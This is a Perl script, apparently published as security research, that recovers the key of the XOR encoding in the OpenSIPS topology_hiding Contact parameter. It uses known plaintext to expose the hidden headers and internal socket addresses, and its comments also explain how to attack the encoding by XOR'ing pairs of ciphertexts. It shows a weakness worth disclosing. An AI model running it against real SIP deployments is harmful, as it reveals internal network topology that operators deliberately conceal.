opensips topology_hiding Contact param decoder

th-decode.pl

#!/usr/bin/perl
#
# Decoder for OpenSIPS topology_hiding Contact header data params
# James Stanley 2023
#
# The OpenSIPS topology_hiding module can encode information in
# a Contact header URI parameter. The encoding is just XOR against the
# key, with the key repeating when it is too short. The plaintext
# contains the contents of the Record-Route headers, Contact header,
# and receiving socket address of the message that came into OpenSIPS.
#
# A large part of that Contact header can be derived from looking
# at the From/To header (or the request URI), so we have a decent
# amount of known plaintext. If the key is shorter than the part
# of the plaintext that we know, then we can discover the key.
#
# Set "$ciphertext" to the contents of the encoded param in the Contact
# header that you see coming out of OpenSIPS.
# Set "$known_plaintext_fragment" to anything that you know will
# occur in the plaintext (the best bet is the part of the Contact header
# that you can guess)
#
# If this script can not find the solution (e.g. the key is longer than
# the plaintext fragment that you know), then your best bet is to
# collect multiple ciphertexts and XOR pairs of them together. The result of
# XOR'ing 2 ciphertexts together is equivalent to XOR'ing the corresponding
# plaintexts together, at which point you have completely removed the
# key material and you just have XOR'd plaintexts to decode.
#
# This script checks whether a possible solution is "likely" by looking
# at whether the plaintext ends in a plausible socket address. Another
# good way would be to check whether the derived key consists entirely of
# printable ASCII.

use strict;
use warnings;

use MIME::Base64 qw(decode_base64);

##############################################################
#
# Configure your ciphertext and known plaintext fragment here:
#

my $ciphertext = "bTZUOUMHHUwNU0dqEg0eQjtYUw0CAwlCdARWRl0YVBcJVFtGVwYPQRQJA0UUVkIaUAIERiY1EwwdDFULB0BdWFcYBQ9TWF0G";
my $known_plaintext_fragment = "sip:jes_test_account@";

#
#
##############################################################

my $have_likely_answer = 0;
my @unlikely_answers;

# try every key length up to the length of the known fragment
for my $keylen (1..length($known_plaintext_fragment)) {
    try_decode([str2arr(decode_word64($ciphertext))], [str2arr($known_plaintext_fragment)], $keylen);
}

if (!$have_likely_answer) {
    # we didn't find any likely answers, so just dump every possible solution
    for my $u (@unlikely_answers) {
        print "key=" . printable($u->{key}) . " ";
        print "msg=" . printable($u->{msg}) . "\n";
    }
}

sub decode_word64 {
    my ($w64) = @_;
    $w64 =~ s/\./\//g;
    $w64 =~ s/-/=/g;
    return decode_base64($w64);
}

# we don't know where the known fragment is within the ciphertext, so
# just assume it is at every position and keep the derived keys that don't
# present a contradiction
sub try_decode {
    my ($ctxt, $known, $keylen) = @_;
    my @c = @$ctxt;
    for my $pos (0 .. ($#c-@$known)) {
        my $key = find_key([@c[$pos..$#c]], $known, $pos, $keylen);
        if (defined $key) {
            my $msg = arr2str(@{ decode($ctxt,$key) });
            if (likely($msg)) {
                # if this is likely to be the true plaintext, print it now
                # (but keep looking for more answers anyway)
                $have_likely_answer = 1;
                print "key=" . printable(arr2str(@$key)) . " ";
                print "msg=" . printable($msg) . "\n";
            } else {
                # if it's unlikely, save the solution, to be printed out at
                # the end only in the case that we did not find any likely
                # solutions
                push @unlikely_answers, {
                    key => arr2str($key),
                    msg => $msg,
                };
            }
        }
    }
}

# return 1 if the given plaintext is likely, 0 otherwise
sub likely {
    my ($msg) = @_;
    # a plaintext is likely to be correct if it looks like it ends in a
    # string like "udp:127.0.0.1:5000"
    return 1 if $msg =~ /[a-z]{3}:\d+\.\d+\.\d+\.\d+:\d+$/;
    return 0;
}

# if the given ciphertext has the given known fragment at the given position,
# and the key is the given length, what is the key?
# return undef if there is no possible key, otherwise return the key
sub find_key {
    my ($ctxt, $known, $pos, $keylen) = @_;
    my @key = (undef)x$keylen;
    my @c = @$ctxt;
    my @k = @$known;
    die "known plaintext fragment too short (need at least $keylen bytes)" if @k < $keylen;
    for my $i (0 .. $#k) {
        my $keybyte = $c[$i] ^ $k[$i];
        my $ki = ($i+$pos) % $keylen;
        return if defined $key[$ki] && $key[$ki] != $keybyte;
        $key[$ki] = $keybyte;
    }
    return \@key;
}

# decode the given ciphertext with the given key
sub decode {
    my ($ctxt, $key) = @_;
    my @c = @$ctxt;
    my @k = @$key;
    my @m;
    for my $i (0 .. $#c) {
        push @m, $c[$i] ^ $k[$i % @k];
    }
    return \@m;
}

# convert a string of characters to an array of numbers
sub str2arr {
    my ($str) = @_;
    return map { ord($_) } split //, $str;
}

# convert an array of numbers to a string of characters
sub arr2str {
    my (@arr) = @_;
    return join('', map { chr($_) } @arr);
}

# make the string printable
sub printable {
    my ($str) = @_;
    $str =~ s/\\/\\\\/g;
    $str =~ s/([^[:print:]])/sprintf "\\x%02x", ord($1)/ge;
    return "\"$str\"";
}